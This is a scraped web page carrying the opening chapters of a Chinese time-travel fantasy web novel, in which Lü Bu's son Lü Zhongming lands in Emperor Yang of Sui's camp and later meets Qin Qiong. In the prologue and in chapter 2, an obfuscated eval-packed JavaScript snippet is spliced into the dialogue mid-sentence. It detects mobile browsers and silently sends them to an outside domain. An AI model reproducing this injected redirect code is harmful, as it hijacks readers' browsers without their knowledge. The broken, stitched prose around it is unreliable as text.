《国师帮帮忙》 1. 楔子·阿弥陀佛掌 金鳌岛,上清池。 金鳌岛,上清池。 吕布:“儿子,这次要穿回唐代去,爹把东西都给你准备好了,多带点东西好防身……喏你看、落魂钟、九转丹砂、震天旗、你二爹还特地去借了一把打神鞭,五火七禽扇、霞云驭龙玺、万鬼旗、神农鼎、崆峒印、山河社稷图……” 吕仲明:“太多了吧!爹!” 吕布:“……还有十万两黄金和一打起死回生的定魂仙珠,给你一起装在女娲的金葫芦里了。用的时候倒出来,怎么用,不用爹教了吧?” 吕仲明:“不……不要这么多……” 吕布:“过去以后,按教主说的办,都记得吗?” 吕仲明:“嗯,记得啦……” 吕布:“听说敌人不好对付……” 吕仲明:“好……好的,你别太担心……” 吕布:“事情办不成,有困难,有阻力,你压力也别太大,有需要就拿着这片龙鳞,随时召唤爹过去,千万别把事情朝自己身上扛……” 吕仲明:“爹!我不是小孩了!我是金麒麟!你是龙皇,我二爹是麒麟!能办不成?不会丢你们人的!” 吕布倏然就静了,看着吕仲明,鼻子抽了抽,一副哈士奇郁卒状。 吕仲明面瘫状:“好了我走了,爹88。” 吕布忽然又改变了主意:“不是丢不丢人的问题……算了,爹去给教主说一声,你还是别去了,危险。” 吕仲明好不容易能自己出一次门,眼看要黄了,登时就一副哭丧样。吕布一见就怂了,忙道:“好好,你去吧,我相信你。” 吕布可怜巴巴地看着自己的儿子,吕仲明又安慰道:“爹,我很快就回来。” 吕布耷拉着脑袋:“你第一次出远门,爹不放心。” 吕仲明闪到家门前:“你放心等我好消息吧。” 说毕吕仲明“咻”的一声跑了,吕布又喊道:“跟教主说完话,再回家一趟……” 吕仲明头也不回地喊道:“知道了!” 吕仲明渐行渐远,吕布看着儿子的背影,一时间无比失落,呆呆地站了会,想起老婆快回家了,于是又去给麒麟钉一个装盆栽的木架子,准备种点仙草仙药,等儿子穿越去执行任务后,有支援请求,好随时炼点起死回生的药,给儿子空投过去。 吕仲明先去看自己的几个仙兽朋友,跟三足金乌告别,损友又你推我我拍你的,浪费了半天时间,继而把装着一堆法宝的金葫芦当球踢,踢着踢着就去了碧游宫。 碧游宫内,通天教主见是吕仲明,便笑道:“小仲明,准备好了?” “嗯,准备好了。”吕仲明把金葫芦当个球踩着,潇洒地行了个礼,答道:“祖师爷爷,送我回去吧。” 通天教主道:“之前交代你的,都记清楚了?” 吕仲明心道怎么都这么担心啊!我吕仲明看起来就这么不靠谱么?嘴上说:“都记清楚了,徒孙儿把穿越细则记在一个小本子上的。” 通天教主道:“哦?你还记日记?都记了什么?” 吕仲明掏出一个小本子,对着念道:“隋末唐初,鉴于佛教流入中原,挤压咱们道教的生存空间,本来是无所谓的,祖师爷爷生性淡泊,无为无不为……” 通天教主纠正道:“无为是对外人说的,咱们道家打得过就要上,打不过才说无为,‘懒得跟你打’的意思。佛教也这么说,打得过就是降魔除妖,打不过就是大慈悲大愿心了,‘不与你一般见识’的意思。” 吕仲明道:“祖师爷爷说的对,但是呢,有几个来历不明,成分不明的人,修改了一部分历史,可能会对后世时间轴发生了很不好的影响。所以派我回去,修正这一部分的历史,顺便弘扬一下咱们的本土道教文化……过程中极有可能对上佛家以下几名大BOSS:西方三圣:阿弥陀,带两名小BOSS观自在,大势至菩萨,战斗力,未知……东方药师佛和日光大菩萨,月光大菩萨,战斗力,以治疗和辅助为主……释迦什么尼……这个字怎么念……带咱们教的普贤真人和文殊真人……这个佛脾气是最好的……也有交情,尽量避免和普贤、文殊对上……” 通天教主语重心长道:“功课做得不错。佛教不好对付,这件事呢,也不是说咱们完全地占理。” 吕仲明忙道:“这是当然,祖师爷爷德高望重,平时也无为,也不好出面,没脸没皮地去和对方打架,所以才派我这么一个小辈过去捣……办事,这样就不用闹得太难看。徒孙儿懂的。” 通天教主嘴角抽搐道:“有的事心里清楚就好了,就不用说出来了。” 吕仲明一脸实诚,点头。 通天教主又唏嘘了片刻,说:“这就走吧,你浩然师叔会开时空门,送你回去,回去后若仓促之间没有计划……” 吕仲明忙不迭点头:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563109|171403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先找咱们的人,在唐代有俩卧底。” 通天教主满意地嗯了声,说:“两位门神秦琼,尉迟恭还未归仙班,不过你可以找他们协助。祖师爷爷已经拜托人,朝他俩打过招呼了。” 吕仲明道:“打过招呼?他们知道我是谁吗?” 教主想了一会,答道:“若不出意外,应当是知道的。你到了以后,不可对他们没礼貌。” 吕仲明嗯了声,通天教主又指点了半晌,最后道:“这就送你回去,祝你成功!浩然!开玄门吧!” 侧旁浩然出来,笑着说:“小仲明,照顾好自己。” 说毕手指一推,打开万古玄门,吕仲明志得意满,跨了进去。 千秋大业,江山天下,无数英雄的热血与宏图,在他的面前徐徐升起帷幕。 时光的流向中,无数卍字符文闪烁着金光旋转,唐代将近,吕仲明敏锐地察觉到了危险。 “玄门通道里是这样的么?”吕仲明在虚空中稳住身形,本能地要朝后退,然而卍字咒文却越来越多,铺天盖地的涌向他。 不好!吕忠明下意识地伸手到腰间一摸,却摸了个空。 糟!法宝呢? 顷刻间佛光到得跟前,吕仲明释放出一身仙兽之力硬抗,孰料那佛光却是铺天盖地,源源不绝,仿佛无边无际,虚空中千万梵音震荡,一只巨大的手掌朝着吕仲明压下来,吕仲明色变大喊,要抽身逃跑已来不及,说时迟那时快,吕布给儿子的一片龙鳞光芒爆射,护住了吕仲明全身,然而佛掌实在太大,汹涌冲来,吕仲明被那佛掌一按,只觉脑海中轰然一响,犹如遭了闷击。 紧接着浩瀚如金海的佛光之力澎湃冲击,将玄门通道击穿出一个洞! 数千年前的晦暗天空射出雷霆万丈,裹着一道光飞射出来! 碧游宫内: 吕仲明消失了,地上留了个东西。 通天教主诧道:“这是小仲明的法宝?” 浩然捡起来道:“女娲的金葫芦,还装着点什么东西,忘拿走了吧。” 通天教主道:“过几天让麒麟送过去给他。小仲明预习功课了么?” 浩然安慰道:“放心吧师父,听麒麟和吕布两口子说,一个月前就在家里读历史了。” 通天教主道:“读的哪本?” 浩然叫苦道:“《隋唐演义》。师父你别啰嗦了,谁耐烦看你呢,快点进正文吧!” 2. 第一回:祥瑞 隋大业二年,杨素病逝,死因众说纷纭。 大业三年始,炀帝大兴土木,妄动兵戈,民不聊生,饿殍遍野,百姓易子而食。 大业七年六月,炀帝下诏征讨高句丽。 十月,王薄作《无向辽东浪死歌》,于山东起义。 十一月,因夏秋山东大水,颗粒无收,百姓曝尸荒野。张金称、刘霸道起义。窦建德家破人亡,逃军离去,揭竿而起。 年末,翟让获罪,逃亡建立瓦岗寨。 大业九年,杨广二次东征,亲征高句丽,苦攻辽东城不下。 而后方,各地农民起义犹如星火燎原于大隋版图上绽开,终于在这一年,杨素之子杨玄感手握重兵,朝炀帝宣战,点燃了又一场乱世的烽烟。 大业九年,五月。 四面边声连角起,长烟落日孤城闭。 一轮血色的夕阳在天地的尽头缓缓沉下,远方霞云中翻滚着闷雷,犹如动乱即将到来的前兆。 这场暴雨要下不下,憋得所有人甚是难受,御驾亲征的杨广亦然。 辽东久攻无果,士兵的尸体在城下堆了足有一丈高,辽河中满是鲜血,一月不褪。深夜,杨广解下铠甲,回到军帐内,挥退了兵士,帐外守备森严。 云层在天顶聚集,直压下来,形成奇异的景象,仿佛将漫天星斗都吸进了一个浩瀚的漩涡之中,四面八方亮起了红光。 士兵们纷纷发现了,啧啧称奇,犹如天子龙气上应诸天。正交头接耳之时,忽然一道霹雳,发出撕碎夜空的响声,轰然落下。直劈向军营最中央的大帐! 杨广的帝旗瞬间折断,这名远征的指挥官刚从睡梦中惊醒,帐篷便铺头盖面地压了下来,四周一片胡乱,黑暗里到处都是焦急的声音。 吕仲明摔得眼冒金星,七荤八素,发现自己抱着个男人,忙踉跄起来。茫然看着他。 “爹……爹呢?”吕忠明茫然道:“我在哪儿?这是哪儿?爹!” 杨广瞠目结舌,与吕仲明对视。 杨广将吕仲明从头打量到脚。吕忠明的脖侧发出卍字金光,只是一闪,便即敛去,饶是如此,也把杨广吓得不轻。 杨广神色凝重,无论如何也猜想不到面前这一幕,诧道:“你是谁?” 吕忠明呆呆道:“我……我是谁?你……你是谁?我爹呢?” 数息后,杨广炸雷般吼道。 “抓刺客——!” 吕仲明下意识地退后,摔了一跤,本能地转身就跑,整个军帐都动了,十万大军里三层,外三层,奔马来去,吕仲明一冲出来便被吓傻了,怎么这么多人?还都穿着盔甲?这是什么地方?! “抓刺客——!” “朝那边跑了!” 士兵们犹如潮水般地涌了上来,上千人手持武器,吕仲明昏头昏脑,夜里又辨不清方向,站在一块空地上,四周到处都是人。 “陛下有命——抓活的——”一名将官策马冲来。 吕仲明被上千火把照着,空地上犹如白昼,站着只是不住喘气,胸口金光阵阵,父亲给的龙鳞竟是发出光来。 士兵们胆寒,“妖怪”“异兆”之声不绝于耳,及至中帐内一人奔出,喊道:“还等什么!快抓起来!”吕仲明下意识地把手朝胸口一按,然而兵士们来得更快,所有人冲上前去,背后冷不防又有人以棍棒朝吕仲明后脑勺一敲。 吕仲明眼前一黑,摔在地上,士兵们一拥而上,将他粽子般地五花大绑,抬进军营中去了。 杨广半夜三更的被这突发事件骇得够呛,站在帐里不住喘气,召集了手下,一时间众说纷纭,杨广道:“这是……什么妖物?竟然敢欺到朕的营帐里来了?!来护儿!传来护儿!” 部下们面面相觑,一名老将躬身道:“臣在,臣以为,陛下不应惊慌,陛下乃是真命天子,寻常妖物,料想不敢近身。” 杨广这才渐平息了些,又有一将开口道:“陛下,军中士兵都道今夜天象异常,乃是……天降祥瑞之兆。” 杨广惊疑不定,转念一想,忆起金光闪烁后,扑在自己身上的赫然正是一少年,两人在帐中对视那短短顷刻间,少年眉目端庄,肤白唇红,浑不似带着妖气,倒是十分清澈干净。 “唔。”杨广镇定下来,点头道:“祥瑞之兆,便如此解释,令全军通报,以止谣言。来护儿,你留下。” 将领们便都散了,唯剩那老将,杨广在帐中踱了几步,问:“那妖……那祥瑞,如今关押在何处?” 来护儿道:“回禀陛下,那少年已被关在木牢中,昏迷未醒,未有异变,段文振与麦大夫都去看过,不似邪佞之物。” 杨广定下心,答道:“你随朕去看看。” 天色蒙蒙亮,杨广与来护儿到得囚营内,吕仲明仍昏迷不醒,被捆得粽子似的在角落里蜷着。 兵士送上一物,恭敬道:“陛下,这是从他身上搜出来的。” 杨广接过那物,见非金非玉,薄薄一片,拿在手中时竟是照亮了整个营帐,当即吃惊不小。 “这是什么宝物?”杨广从未见过如此异宝,一见之下便起了据为己有之心,收进怀中,以眼色示意,左右士兵便上前,一盆冰水泼在吕仲明头上。那时节正是春末,辽东冰河化冻,冰水寒冷刺骨,吕仲明登时大叫一声,醒转过来,左右看看,整个人都悚了。 杨广与他对视片刻,问道:“你是何人?” 吕仲明道:“我……我是……” 吕仲明方一挣扎,便发现自己被捆着,登时大叫道:“放开我!你要做什么!” “大胆!”来护儿怒胡道:“你知不知道在你面前的是什么人?!这位是陛下!” “陛……陛下?”吕仲明茫然道:“陛下是什么?你是谁啊?” 杨广摆了摆手,问道:“你家住何方?叫什么名字?” “名字……”吕仲明竭力回忆,一脸痛苦,只觉脑中嗡嗡作响,转来转去都是那团金光。 杨广:“父母是何方人士?可有兄弟姐妹?” “爹……”吕仲明喃喃道:“仲明……我叫吕仲明!” 吕仲明想起了一个熟悉的声音,在叫自己仲明,却再也记不起再多事了,他被捆得十分不舒服,说:“你放开我!” “吕仲明?”杨广若有所思,又问:“你是怎么到朕营帐里来的?” 吕仲明茫然摇头,什么都记不起来,总觉得自己忘了非常重要的事情,来护儿看这孩子一脸茫然,不过与自己孙儿一半大,眉目端正,不显戾气,像个公子哥儿,心下多少起了几分同情。 “应当是摔下来那会撞到脑袋。”来护儿朝杨广道:“陛下,这孩子不似奸恶之徒。” 杨广点了点头,不知为何,对这少年竟也生出几分亲近之意,遂道:“将他的绳索解了,但别放他出来,让他仔细想想。”说毕又朝来护儿小声道:“像个祥瑞。” 吕仲明身上绳索解开,杨广要再盘算问个几句什么时,又有兵士过来,躬身道:“陛下,卫尉少卿李渊求见。” 杨广心中一动,转身道:“这么远的,从荥阳跑辽东来?” “关内有紧急军情。”兵士低声道。 杨广顾不得面前这少年,忙自转身离去。 中军帐内,李渊一身风尘仆仆,身边还站着一位年轻僧人,李渊面如土色,那年轻僧人却气定神闲。 “陛下。”李渊道:“楚国公杨玄感起兵谋反!进犯陪都!” 杨广这一惊非同小可,继而是说不出的愤怒,吼道:“杨玄感好大的胆子!” 杨玄感乃是开国功臣杨素之子,杨素生前权倾朝野,死后荫及子孙,出征前杨广令玄感在黎阳领军督粮,未料竟是说反就反,面前李渊已是满额冷汗,通报了军情,杨玄感起兵后便势如破竹,已进逼洛阳。 杨广夜半受了惊吓,骤然又来此噩耗,当即头疼欲裂,半晌说不出话来,拳头攥得紧紧的,然而李渊身边那年轻僧人道:“陛下不必担忧,此乱假以时日,定可除去。” 杨广脸色一变,李渊忙道:“这位是嘉祥寺的吉藏法师,臣不知……” “陛下。”年轻僧人抬眼望向杨广,解释道:“贫僧为寻一人,沿途北上,恰巧与卫尉少卿碰面,遂一路同行。来前贫僧见中原刀兵杀戮之气渐重,是为不祥,然北方天降祥瑞,料想陛下此刻回师,当可大捷。” 杨广听见这话,才稍稍安心了些,注视面前这儒雅僧人,忽想起了些许过往,问道:“你是法朗大师的……” 吉藏点头道:“昔年贫僧与陛下曾有一面之缘。” “唔。”杨广想起来了,说:“在会稽嘉祥寺,你替法朗大师讲经,那年……” “那年贫僧十九岁。”吉藏双手合十,微一点头。 大敌当前,杨广竟是与一僧人叙起旧来,满帐军官心急火燎,偏偏又无可奈何,只得听这死秃驴将话说完。吉藏道:“陛下,中原百姓性命攸关,陛下不可再耽搁了,当以及早起行为佳。” 杨广唔了声,正想再问吉藏祥瑞一事,吉藏却又道:“贫僧此来还有一不情之请。请陛下将昨夜坠于营中那少年,让贫僧带回。” 杨广先是一楞,继而脑海中闪电般地转过无数个念头,一口回绝道:“什么少年?坠于营中?绝无此事。” 吉藏也是一愣,继而耐心道:“陛下,那少年乃是大光明王要寻之人,身份特殊……” “什……什么?”杨广有点糊涂了,心道大光明王即民间百姓所称“释迦牟尼”,释尊是也。可释尊不是早就死……不是早就成佛了吗?一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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杨广后院起火,也没多少心思去管那少年,心道若真如众人所言是个祥瑞,想必一时三刻也病不死,病死了自然也不是祥瑞了。遂答道:“把他带上,沿路带回去,进关后送回大兴,找个地方关着,没有朕的命令,不可放出来。” 手下们领命,便去将吕仲明从牢里揪出来,扔了上囚车。 当天上路前,又有一队人抵达军营。 “打听个事儿,大哥。”为首那人朝兵士手中塞了一锭碎银,兵士马上心照不宣,说:“从哪儿来的?看起来不像这儿的。” “大兴,我们是驻城防的。”那人道:“小的名叫张虎,归李大人管。” “李大人?”那士兵道:“没听过。” 张虎赔笑道:“就是西坊的李大人,大兴善寺金刚智法师拜托我家大人,大人又派弟兄们过来,找一个从北方来的孩子,弟兄们路上跑了半个月,都没见到这人。” “北方来的人?”士兵莫名其妙道:“长什么样子?姓什么名什么?” 张虎尴尬道:“不清楚,就知道姓吕,最近大营里来了人没有?” “每天都有人。”那士兵道:“连和尚都来了,今天才来了一个。” 张虎沉吟片刻,又有人过来,吼道:“还在做什么!撤军了!走了!你?你是哪一队的!回自己岗位去!” 张虎初来,靠一身隋兵铠甲混了进来,此刻自然不能与他们详细分说,只得将四名部下叫到一旁去商量。然而大军开拔,一片混乱,张虎一筹莫展,只得与几名手下再次上路,朝更北的方向走。 这伙人,恰好与吕仲明的囚车擦身而过,张虎看了一眼囚车里的吕仲明,满脸疑惑,手下却动了动张虎,示意他别管太多。张虎只得动身起行。 吕仲明脑子昏昏沉沉,根本没听见他们的对话,可怜吕仲明锦衣玉食地过了十六年,何曾遭过如此折磨?先是在玄门内被佛掌封住了一身仙力,下来时又摔忘了大半记忆,还在囚牢内被泼了一身冷水,时值倒春寒来,也无兵士来管。北风一吹,两管鼻涕,登时发起了高烧。 囚车里,吕仲明额头滚烫,说着胡话,只在梦里不住叫爹,一群兵士还无聊逗着他玩儿,戳他脑袋让他喊爹,都笑他是个傻小子。 “喂!”一骑驰来,队长大声道:“看着点,别让他死了!待会上头问起来不好交代!” 士兵们敷衍了几句,有人找了副被褥扔进去,让吕仲明卷着,吕仲明狼狈不堪,缩在囚牢里,一时昏迷,一时醒来,备受折磨。不多时大军上路,带着隋炀帝的怒气赶往中原,要收拾叛徒杨玄感,吕仲明被风吹得瑟瑟发抖,沿途还下起了小雪,乱世中人命不如草,沿途所过之处,哀鸿遍野,饿殍满地,也无人顾得着这少年郎死活,当真是天可怜见,欲知后事如何,且待下回分解。 4. 第三回:出兵 吕仲明:“是我是我!他说的人就是我了,我在家中排行老二,我大哥名‘晖’,我爹就给我起名叫‘仲明’。那仙人呢?还能联系上他不?” “云游四方,不知所踪。”秦琼沉声道:“授我无极棍法后,便再也寻不见他了。” 吕仲明无奈头疼,问道:“他只教了你棍法,没教你仙术?” 秦琼答道:“没有。” 吕仲明道:“那位仙师是不是穿一身脏兮兮的道袍……呃,笑嘻嘻的……” “不是。”秦琼道:“是一位高高瘦瘦的年轻人,我在山上砍柴时,见他在青石板上打盹儿,便将衣袍给他,怕他着凉了。” 吕仲明道:“穿八卦袍子?” “太极袍。”秦琼答道。 吕仲明张着嘴,半晌说不出话来,问道:“是不是总喜欢睡觉,一副没睡醒的模样?眼睛一边还有那个……眼屎……” 秦琼点头。 “那是道德天尊。”吕仲明心想怎么老君办事总是一副没睡醒的作风,连点法术也不教给秦琼的。 秦琼沉吟片刻,吕仲明便自己继续吃,心下盘算接下来要怎么办,倏然间无声无息的一掌已到面门。 吕仲明没料秦琼会突然出手揍他,下意识地回手后拖,架住秦琼一掌!然而秦琼力未尽,一脚扫来攻其下盘,吕仲明翻掌,再变掌为指,一指点向秦琼膝前,秦琼大喝一声好,旋风般退后,两人你来我往,已在房中拆了七八招,吕仲明一边打一边回忆,招式断断续续使出来,及至秦琼一拳攻来。 “喝!”吕仲明以掌力将吐未吐,继而力道一崩,然而秦琼却早已料到他这式,朝后一让,吕仲明登时扑街,还扑得甚是难看。 “不算,再来……”吕仲明这时知道秦琼是要试他功夫了,便尴尬稳住,回头回掌,划圈,收式。 秦琼摆手,说:“你武技太也生疏。但看得出乃是名师所授。” 吕仲明输得十分狼狈,面上无光,便道:“我……拉弓射箭的功夫……还可以,打架不太行。” 秦琼打量吕仲明,随口道:“冒犯了,秦某只是想知道贤弟家学,看贤弟使力路子依稀是无极棍一家,你的力道却刚柔并济,柔劲将穷之时转而为霸道硬拳,你师父一定是武学好手。只是……学的不怎么认真。” “承……承让。”吕仲明抱拳,心下暗道幸好武学还是多少会上那么一点点的。当年在金鳌岛桃花林里,自己总是不耐烦打拳,觉得有仙术就够了,吕布则好话说尽,软硬兼施地让他练武。 武神的儿子怎么能不会打架?吕仲明那时觉得无用,现在想起来,多亏跟着父亲学了一段时间的拳法。 秦琼见吕仲明下不了台,遂开口道:“不妨,你还小,来日勤加修炼,也就是了。平日里抱拳客气时,拇指不能竖,须得将左手拇指藏在右手掌中,唯有起意切磋时,拇指才是竖着。你师父没告诉过你?” 吕仲明摇头道:“没有……我爹见了谁都这么抱拳。不过你说得对,我会注意的。我得想想,总算找到你了,当真是不幸中的万幸。” 秦琼见其困扰,便道:“你慢慢想罢,我有点事,先走了。” 秦琼穿上盔甲,一副生人勿近的神情,吕仲明要问去哪,却不敢多问,只得坐着继续吃饭,脑子里越来越混乱。吃过晚饭,他实在困得不行,打了个呵欠摸上床睡下,梦里一会是吕布授艺,一会是一身黑铠,黑发的麒麟戳戳他的头,让他读书,一会是教主告诉他,回到初唐后可找秦琼……然而这些人的面孔都是模模糊糊的。 夜半时他听见有人进房,登时一睁眼,醒了,听脚步声感觉得出是秦琼。 秦琼轻手轻脚,也不点灯,摸进房里来,到铺前时犹豫了片刻,吕仲明便起身道:“对不起,占了你的床,借点被褥,我打个地铺去睡。” 秦琼低声道:“睡罢。”说毕便躺在铺上吕仲明身边睡下,一夜无话。 翌日。 “把东西收拾一下,咱们就走罢。”吕仲明朝秦琼道。 秦琼莫名其妙:“去什么地方?” “换个阵营。”吕仲明如是说:“留在这里太危险了。” “开什么玩笑?!”秦琼打量吕仲明道:“我是朝廷命官!食君之俸,忠君之事,怎么能说走就走?” 吕仲明认真说:“杨广的气数已到了头,你总不能呆在这里,早一点走,就不至于这么被动……” 秦琼道:“我拿大隋俸禄,自当为大隋出力,如何能走?” 吕仲明:“……” 吕仲明又问:“兄弟,你想成仙吗?” “不想。”秦琼连考虑也没考虑,便一口回绝了吕仲明的提议,吕仲明当即没辙了,只得看着秦琼漱口洗脸,擦拭铠甲铁靴,吕仲明又道:“邙山的那位仙师,让你辅佐我,协助我……” 秦琼道:“仙师只授我棍法,让我照顾你,没让我追随你。” 吕仲明道:“那是老君睡糊涂了,话没说清楚,我是来帮助你的,兄弟!” 秦琼道:“这就对了,既然是来帮我的,就好好在军营里呆着,别给我捅娄子。” 吕仲明:“……” 秦琼整理好盔甲后又去磨刀,吕仲明把口水都说干了,还是在“你到底要做什么”“不做什么,是你要做什么”的对话逻辑中反复循环,吕仲明实在拿他没办法,总觉得是不是哪里搞错了。明明眨眼间就可以通关的节奏,装备药品全没了,等级瞬间归零,简直就是被盗号了不算,游戏忽然间不明不白就一下被调成了HARD模式,这究竟是要闹那样! 镇定,镇定。吕仲明不住告诉自己,想起麒麟老爸教过,凡事不可较真,要动脑筋,便深吸一口气,决定改变策略。 “秦兄。”吕仲明正襟危坐道:“如今天下大乱,生灵涂炭,百姓衣不蔽体,食不果腹……隋家气数已尽,不出数年,定将覆灭,覆巢之下,焉有完卵?秦琼大好男儿,为何忍心投隋……” 秦琼:“……” 秦琼一副“你是不是被鬼上身了”的表情打量吕仲明。 三秒后,吕仲明终于崩溃了。 “我不玩了啊!”吕仲明抓狂道:“我要回家——!” 秦琼:“……” 吕仲明简直无计可施,倒在床上,秦琼道:“你究竟想做什么?” 吕仲明一脸圣洁状道:“带你弃暗投明。” 秦琼道:“别闹,你倒是说啊,离开了这里要上哪去?投谁?投哪儿?” 吕仲明被这么一问,赫然也答不出来,上哪去?自己也没个计划。 想了半天,吕仲明拇指一指自己,豪迈地说:“我就是明,吕仲明。跟着我,待我力量恢复了,咱们一起打拼!” 秦琼打量吕仲明,嘴角抽搐,起身,说:“贤弟好意,愚兄心领,仙师只让我照顾你,授艺之恩,秦某不敢忘,自然会照顾你。但你若想乱来,秦某却是万万不能奉陪。若嫌弃此处,可自行离去,有天大的干系,秦某为你担了就是。” 说毕秦琼起身就走,吕仲明却一直在想离开后去哪的事,倏然间灵光一闪,按照历史,隋亡大乱,最终将归于陇右李家天下。不如就去找…… “去找李世民。”吕仲明道:“他也是明。” 秦琼莫名其妙道:“李世民是谁?” 吕仲明要解释,秦琼却起身就走,吕仲明忙起身追着,问道:“上哪去?” 秦琼道:“练兵!” 吕仲明追到走廊上,秦琼不再与他多说,径自走了。吕仲明以手扶额,不忍卒睹。郁郁回到房中,整个人都有点不好了。 攻略本上明明就不是这样,设想中回到初唐后,有教主庇佑,身上法宝如云,十万两黄金傍身,那当真是豪气干云,小弟们前呼后拥,众星捧月,只要动动手指头,还不把敌人一路碾压过去? 奈何设想与现实实在差得太远,吃喝拉撒都够不上条件,更愤怒的是,上个茅房,居然还没有纸巾!要用一根草绳……吕仲明解决了必须问题,系好裤带,欲哭无泪地回到房中。 事到临头,抱怨也没有办法,发生了的事情,只得暂时接受。麒麟老爸说过,凡事要动脑子,不能逞勇,但要怎么动脑子解决这个问题? 走廊上,一张纸凌空出现,飘着飘着落下来。 【小小宝贝吾儿: 在初唐的生活还好吗?离开金鳌岛后,爹想你,念你,恨不得你明天就回来。十五载光阴,你都在爹身前,如今你一走,为父心里顿时空空荡荡,生怕你碰上挫折……】 吕仲明看到这封信时,登时无语凝咽,继而泪流满面,一手抓着信,趴在桌上,另一手把桌子锤得咚咚响,哽咽不已。 片刻后,展开皱巴巴的信,继续看。 【……你仲父说,男人便该有男人的责任与担当,是以为父虽心不甘情不愿,仍不得不让你离巢。为父知你之能,却怕你被骗,只因世上人心险恶,凡事不可尽信他人,说话须得留三分余地,便于转圜。隋末唐初,天下大乱,能人异士心本孤傲,若要令其心悦诚服,须得自身强卓,方能服众,投其所好,是为“恩威并施”,切记。 若需任何物资,速速写信回来,需法宝增援,也一并告知。 爹:奉先】 【仲明: 别听你爹的,结交朋友,不可以武力胁迫他人,更不可以钱财收买,钱财买得到打手,买不到真心。须知富贵不能淫,贫贱不能移,威武不能屈。真正愿意追随你一生,对你不离不弃的,大多因为理想,而非利益。有理想的人可以当兄弟,因利益所谋,则只能当朋友,谨记慎重对待。要在乱世立足,须得将心比心,真诚所至,金石为开,切记。 古代食宿条件不比金鳌岛,需设法克服困难。你虽出身不凡,却有劫难未过,但凡天地至灵,都需历尽劫难,以平常心面对,竭尽全力即可。 父:麒麟】 吕仲明泪水盈眶,东翻西翻,找出一张纸,一支笔,给两位父亲回信,写了个: 【爹我装法宝的金葫芦忘在碧游宫教主那里忘拿了,龙鳞也被人抢走了,见信再装一万卷卫生纸和四十箱袋泡茶在金葫芦里,尽快投递过来。】 写完信以后,吕仲明松了口气,打了个响指,手中却搓不出三味真火,当即傻眼了。 糟糕,要回信,就得以真火将信烧掉,以上清天音术送入虚空,这样才能送回金鳌岛。偏偏自己一身仙力又被悉数封印了,怎么办? 怎么办? 怎么办!! 吕仲明坐着,看着那封信干瞪眼。 金鳌岛,上清池畔,吕家。 吕布认真坐在案前,提笔蘸墨,铺开一张宣纸,准备给儿子写信。 麒麟在一旁浇花,哭笑不得道:“不是才写了吗?怎么又写?” 吕布像个玩具没了的小孩,郁闷道:“刚刚那封他没给我回信!” 麒麟道:“这才刚过去,人生地不熟的,笔都不知道有没有,怎么给你回信?” 吕布不悦道:“中午我就觉得似乎是出了什么事……龙鳞的波动连我都感觉到了……” “放心吧。”麒麟无奈道:“是你提心吊胆的,想太多了外加练胸肌。没事总动来动去的,这也波动那也波动,打个喷嚏也波动,这是让他去历练,你现在就差自己扑过去了,别的不说,你儿子明明过得正好的,你又去一打岔,小心挨骂。” 吕布耷拉着脑袋,麒麟倒了这么多话还是其次,关键在于那句“小心挨骂”,吕布关心不成反被骂的情况多了去了,对着这么个小儿子,当真是捧在手里怕摔了,放在嘴里怕化了,被闹个几句,简直就是玻璃心碎一地,只得听麒麟的。 麒麟收起墨砚,笑吟吟地又来抽走吕布手里的笔:“别这么紧张,走罢,咱们也出去玩几天。你老跟小小宝贝在一起,我都快吃醋了。” 吕布转念一想,抬头时,麒麟便吻上他的唇来,金鳌岛春风拂过,桃花飞散,那一刻二人柔情顿生,吕布伸了个懒腰,说:“也好!小小宝贝加油!”便扔了笔,起身牵着麒麟走了。 吕仲明坐在走廊下,看了许久信,最终长叹一声,只得把来信和回信都折好,收进怀里。HARD模式就HARD模式吧,小爷就不信自己不行。 秦琼的反应虽然与自己料想中的有偏差,然而仔细想来,却也理应是这么说。换位想想,自己要是秦琼,一份差事当得好好的,忽然就来了个人,要自己追随,说的还都是自己听不懂的话,当然不能相信。 要得到秦琼的信任,就得推心置腹,吕仲明转而问自己,能给他什么?从所学中知道,秦琼十三岁从军行伍,先投来护儿,再在张须陀麾下当差,后跟随裴仁基,再随裴仁基投降李密,李密兵败后投奔王世充,后来因为与王世充闹翻了,再投李渊。 最后被李渊指到秦王李世民帐下,才算彻底安定下来。其实就算没有自己,秦琼的路虽崎岖坎坷,艰辛不已,最终还是修成正果,排进了凌烟阁。所以他吕仲明顶多就让秦琼少走点弯路,实际上也给不了他什么。 不对……吕仲明忽然想起,临走时通天教主说的一番话。佛门也派人下来了……西方三圣现在说不定就在大隋。如果说他们想改变点什么,会从哪里着手? 历史书呢?吕仲明起身要去找书,却忘了自己不在金鳌岛,这里根本不可能有唐代的史书,但从他的记忆中,想起了三武一宗的灭佛案。北魏太武帝,北周武帝,唐武宗与后周世宗的四起灭佛案。堪称是浩大之事。 莫非佛门想遏止唐武宗对僧人的大屠杀? 除此之外,李渊其实也不太待见佛教,只有李世民才扶持了玄奘,但归根到底,李家打江山时,自称乃是李耳之后,老君有没有留下子嗣,吕仲明心里最清楚,那是不可能的。 而在李家执政后,李渊确实一度想灭佛,直至玄武门之变,诏令未能执行。 吕仲明隐隐约约有了猜测,若对家有切入点,一定是一统天下后的李家。如此说来,李世民当不当得上皇帝,而秦琼有没有危险,还难说得很。 佛门是不讲天道的,只推因果,种什么因,得什么果,只需以佛法规劝,改变当事人的决策,一念之差,所有因果便将重新推演。 吕仲明察知了危险,到得此刻,终于明白到了通天教主话中深意。 午后阳光万丈,吕仲明边想边走过回廊,看见秦琼带着一队手下在练兵。 